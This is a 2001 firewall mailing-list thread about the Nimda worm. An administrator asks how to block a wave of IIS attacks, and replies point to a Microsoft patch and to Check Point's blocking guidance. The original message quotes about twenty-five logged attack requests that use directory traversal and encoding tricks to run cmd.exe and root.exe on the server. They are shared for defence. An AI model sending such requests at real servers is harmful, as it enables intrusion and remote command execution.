hi patrick,
at this link is a descripiton to create a resource to block nimda
http://www.checkpoint.com/nimda.html
http://support.checkpoint.com/public/nimda_solution.html

:-)
peter


> -----Urspr�ngliche Nachricht-----
> Von:  Allison, Mark [SMTP:[EMAIL PROTECTED]]
> Gesendet am:  Mittwoch, 19. September 2001 17:05
> An:   'Patrick Coomans'
> Cc:   '[EMAIL PROTECTED]'
> Betreff:      RE: [FW1] New worm on the road?
> 
> A patch was released from Microsoft in October 2000.  Follow the Symantic
> link below.
> <http:[EMAIL PROTECTED]>
> 
> Mark Allison 
> Global Cash Access / Central Credit, L.L.C. 
> [702-855-3037      mailto:[EMAIL PROTECTED]] 
> 
>       -----Original Message-----
>       From: Patrick Coomans [mailto:[EMAIL PROTECTED]]
>       Sent: Tuesday, September 18, 2001 2:36 PM
>       To: [EMAIL PROTECTED]
>       Subject: [FW1] New worm on the road?
>       
>       
>       Since this evening I am experiencing massive attacks on HTTP (IIS
> oriented I presume) from many different IP addresses.
>        
>       They all look like:
>        
>       GET
> /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0
>       GET /scripts/root.exe?/c+dir HTTP/1.0
>       GET /MSADC/root.exe?/c+dir HTTP/1.0
>       GET /MSADC/root.exe?/c+dir HTTP/1.0
>       GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0
>       GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0
>       GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
>       GET
> /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0
>       GET
> /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0
>       GET
> /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
> HTTP/1.0
>       GET
> /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/
> system32/cmd.exe?/c+dir HTTP/1.0
>       GET
> /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/
> system32/cmd.exe?/c+dir HTTP/1.0
>       GET
> /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/
> system32/cmd.exe?/c+dir HTTP/1.0
>       GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
>       GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0
>       GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0
>       GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
>       GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0
>       GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0
>       GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
>       GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0
>       GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0
>       GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0
>       GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0
>       
>        
>       Is anyone aware that this is some new kind of worm?
>       Now my FW1 question: can I create a HTTP resource (secure server)
> that blocks all requests that e.g. have a .EXE in it ?  Or would that slow
> my FW1's down to much?
>        
>       Any other suggestions for good products that can do HTTP content
> inspection and that cooperate or can co-exist with fw1 ?
>        
>        
>       Thanks,
>       Patrick
>        
> 


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